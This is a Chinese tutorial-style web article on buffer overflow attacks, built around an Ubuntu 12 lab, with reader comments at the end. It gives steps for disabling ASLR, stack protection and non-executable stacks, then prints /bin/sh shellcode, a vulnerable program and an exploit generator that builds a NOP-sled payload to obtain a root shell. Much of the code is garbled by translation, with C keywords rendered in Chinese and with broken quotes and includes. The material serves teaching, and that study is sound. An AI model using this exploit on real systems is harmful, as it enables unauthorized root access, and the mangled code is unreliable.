什么是缓冲区溢出攻击?

Buffer Overflow Vulnerability Lab实验目的:掌握缓冲区溢出漏洞原理。缓冲区溢出定义:程序企图在预分配的缓冲区之外写数据。漏洞危害

今天给各位分享什么是缓冲区溢出攻击?的知识,其中也会对进行解释,如果能碰巧解决你现在面临的问题,别忘了关注本站,现在开始吧!

通过代码设计和利用缓冲区溢出漏洞获取Ubuntu12的root权限。掌握操作系统(linux OS)保护机制,防止缓冲区溢出攻击。您可以在ubuntu12虚拟机中完成本实验。由于ubuntu中的一些保护机制,缓冲区溢出很难实现。为此,我们需要关闭这些保护机制。

地址空间随机化意味着堆/栈中的起始地址每次都不同。关闭地址随机化

StackGuard Protection是gcc编译器实现的一种安全机制,用于防止缓冲区溢出漏洞。您可以在编译时使用-fno-stack-protector 选项来关闭此机制。堆栈是不可执行的(Non-Executable Stack)。 ubuntu12的默认堆栈是不可执行的。编译时可以使用-z execstack 选项使堆栈可执行。

shellcode

shellcode是一段弹出shell的可执行代码。我们需要将这段可执行代码加载到内核缓冲区中,通过缓冲区溢出漏洞跳转到这段可执行代码,让终端弹出shell。

什么是缓冲区溢出攻击?

#include stdio.hint main( ) {char *name[2];name[0]=”/bin/sh”;name[1]=NULL;//execve()//参数1:sh可执行文件文件在系统中的路径指针//参数2:数组指针,传递给可执行文件//参数3:新建环境变量数组,传递给可执行文件execve(name[0], name, NULL);} 执行效果和直接在/bin/目录下执行./sh效果是一样的。

shellcode 是什么样的?

const char code[]=’\x31\xc0′ /* xorl %eax,%eax */’\x50′ /* Pushl %eax */’\x68”//sh’ /* Pushl $0x68732f2f */’ \x68”/bin’ /* Pushl $0x6e69622f */’\x89\xe3′ /* movl %esp,%ebx */’\x50′ /* Pushl %eax */’\x53′ /* Pushl %ebx */’\x89\xe1′ /* movl %esp,%ecx */’\x99′ /* cdq */’\xb0\x0b’ /* movb $0x0b,%al */’\xcd\x80’/* int $0x80 */;如何让shellcode运行?

int main(int argc, char **argv){ char buf[sizeof(code)]; strcpy(buf, 代码); //注意函数指针((void(*)( ))buf)( );}shellcode汇编代码解释

什么是缓冲区溢出攻击?

执行该程序堆栈和寄存器中的数据:

The Vulnerable Program

/* stack.c *//* 该程序存在缓冲区溢出漏洞。 *//* 我们的任务是利用这个漏洞*/#include stdlib.h#include stdio.h#include string.hint bof( char *str){ char buffer[24]; /* 以下语句存在缓冲区溢出问题*/strcpy(buffer, str);返回1;}int main(int argc, char **argv){ char str[517];文件*坏文件; badfile=fopen(‘badfile’, ‘r’); fread(str, sizeof(char), 517, badfile); bof(str); printf(‘正确返回\n’); return 1 ;} 当badfile文件中的内容大小小于缓冲区大小时,程序正常。当文件内容大小超过缓冲区大小时,会发生程序异常,发生缓冲区溢出。

exploiting the Vulnerability

什么是缓冲区溢出攻击?

利用缓冲区溢出漏洞获取root权限:

/*exploit.c*//* 创建包含启动shell 代码的文件的程序*/#include stdlib.h#include stdio.h#include string.hchar shellcode[]=’\x31\xc0′ /* xorl %eax,%eax */’\x50′ /* Pushl %eax */’\x68”//sh’ /* Pushl $0x68732f2f */’\x68”/bin’ /* Pushl $0x6e69622f */’ \x89\xe3′ /* movl %esp,%ebx */’\x50′ /* Pushl %eax */’\x53′ /* Pushl %ebx */’\x89\xe1′ /* movl %esp,% ecx */’\x99′ /* cdq */’\xb0\x0b’ /* movb $0x0b,%al */’\xcd\x80′ /* int $0x80 */;unsigned long get_sp(){ __asm__( ‘movl %esp,%eax’);}void main(int argc, char **argv){ char 缓冲区[517];文件*坏文件; /* 使用0x90 初始化缓冲区(NOP 指令) */memset(buffer,0x90 , 517); /* 你需要在这里用适当的内容填充缓冲区*/long* addr_ptr,addr;整数偏移量=200; addr=get_sp() + 偏移量; addr_ptr=(长*)缓冲区; for(int i=0;i10;i++) *(addr_ptr++)=addr; memcpy(buffer+sizeof(buffer)-sizeof(shellcode), shellcode,sizeof(shellcode)); /* 将内容保存到文件’badfile’ */badfile=fopen(‘./badfile’, ‘w’); fwrite(缓冲区, 517, 1, 坏文件); fclose(badfile);} 编译并运行程序,即可获得root权限:

用户评论

什么是缓冲区溢出攻击?
代价是折磨╳

我听过这个词但从来没有真正了解过它到底是怎么工作的,这篇文章解释得很清楚!终于明白为什么程序员总是强调安全性了。

    有13位网友表示赞同!

什么是缓冲区溢出攻击?
堕落爱人!

作为一名学生在学习网络安全知识,这篇文章对我来说帮助很大。缓冲区溢出攻击听起来很可怕,要警惕。谢谢分享!

    有11位网友表示赞同!

什么是缓冲区溢出攻击?
娇眉恨

我之前就觉得一些软件很容易出现漏洞,现在看来真的是个大问题,难怪黑客可以轻易搞垮系统。应该加强安全性研究啊!

    有14位网友表示赞同!

什么是缓冲区溢出攻击?
弃我者亡

这篇文章写得真专业! 我平时只会把缓冲区溢出攻击当做一个抽象的概念,这下明白了它背后的机制是怎么样的了。

    有11位网友表示赞同!

什么是缓冲区溢出攻击?
旧爱剩女

我觉得这个标题有点吓人,就像说“什么是炸弹?”一样让人紧张。不过文章解释的的确很清楚,让我对这个漏洞有了更深入的理解。

    有14位网友表示赞同!

什么是缓冲区溢出攻击?
权诈

缓冲区溢出攻击确实是很常见的漏洞类型,很多时候程序员在程序设计的时候忽视了数据边界验证而导致的。大家平时还是要多学习安全知识,提高自防意识!

    有6位网友表示赞同!

什么是缓冲区溢出攻击?
棃海

这篇文章没说太详细啊!我更想知道缓冲区溢出的具体例子和攻击者的攻击手段是什么样的,还有对应的防御措施有哪些?

    有9位网友表示赞同!

什么是缓冲区溢出攻击?
一纸愁肠。

我觉得这个主题有点过于专业IZED 了,对我来说理解起来比较困难。希望能提供一些通俗易懂的解释或者案例说明。

    有20位网友表示赞同!

什么是缓冲区溢出攻击?
三年约

虽然文章讲得很清楚了,但我还是觉得这个问题太复杂了! 我不是学计算机专业的,想深入了解可能还需要再学习很多相关知识啊。

    有13位网友表示赞同!

什么是缓冲区溢出攻击?
金橙橙。-

缓冲区溢出攻击听起来就好像黑客把恶意代码塞进程序漏洞里一样,真的很可怕!!我们要更加重视网络安全的提升!

    有16位网友表示赞同!

什么是缓冲区溢出攻击?
青衫负雪

我以前读过一篇关于缓冲区溢出攻击的文章,但那个文章的写作风格很枯燥乏味。这篇写的比我好多了,轻松易懂!

    有17位网友表示赞同!

什么是缓冲区溢出攻击?
打个酱油卖个萌

这个缓冲区溢出攻击真的太可怕了,难怪现在很多网站都采取严格的安全措施! 要保护好自己的数据安全,不能掉以轻心啊!

    有17位网友表示赞同!

什么是缓冲区溢出攻击?
有恃无恐

我以前没意识到程序设计中也有这种安全风险! 文章提醒了我,在学习编程的时候一定要重视代码安全性方面的知识!

    有5位网友表示赞同!

什么是缓冲区溢出攻击?
执拗旧人

缓冲区溢出攻击听起来很复杂,但本质上就是因为程序员的设计缺陷导致的漏洞。想要更好地防御这类攻击,需要提高代码质量和安全性认证水平!

    有10位网友表示赞同!

什么是缓冲区溢出攻击?
寒山远黛

感谢作者分享这篇科普文章!让我了解到网络安全的另一面,知道了黑客们是如何利用软件漏洞进行攻击的。

    有9位网友表示赞同!

什么是缓冲区溢出攻击?
西瓜贩子

这种缓冲区溢出攻击的危害真的很大啊,不仅会泄露用户数据,还会导致系统崩溃甚至瘫痪。 真是需要提高警惕了!

    有5位网友表示赞同!

原创文章,作者:小su,如若转载,请注明出处:https://www.sudun.com/ask/166520.html

(0)
小su's avatar小su
上一篇 2024年9月21日 下午1:34
下一篇 2024年9月21日 下午1:36

相关推荐

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注